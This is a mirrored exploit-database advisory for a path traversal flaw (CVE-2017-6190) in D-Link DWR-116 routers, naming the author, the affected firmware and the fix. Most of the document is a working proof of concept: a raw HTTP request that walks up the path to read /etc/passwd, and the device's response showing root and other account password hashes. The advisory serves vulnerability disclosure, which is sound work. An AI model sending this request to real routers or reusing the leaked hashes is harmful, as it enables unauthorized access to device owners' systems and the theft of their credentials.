D-Link DWR-116 / DWR-116A1 – Arbitrary File Download

  • 作者: Patryk Bogdan
    日期: 2017-04-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41840/
  • # Title: D-Link DWR-116 Arbitrary File Download
    # Vendor: D-Link (www.dlink.com)
    # Affected model(s): DWR-116 / DWR-116A1
    # Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU)
    # CVE: CVE-2017-6190
    # Date: 04.07.2016
    # Author: Patryk Bogdan (@patryk_bogdan)
    
    Description:
    D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability
    which leads to unathorized file download from device filesystem.
    
    
    PoC:
    
    HTTP Request:
    GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
    Host: 192.168.2.1
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    
    HTTP Response:
    HTTP/1.0 200 OK
    Content-Type: application/x-none
    Cache-Control: max-age=60
    Connection: close
    
    root:$1$$taUxCLWfe3rCh2ylnFWJ41:0:0:root:/root:/bin/ash
    nobody:$1$$qRPK7m23GJusamGpoGLby/:99:99:nobody:/var/usb:/sbin/nologin
    ftp:$1$$qRPK7m23GJusamGpoGLby/:14:50:FTP USER:/var/usb:/sbin/nologin
    
    
    Fix:
    Update device to the new firmware (V1.05b09)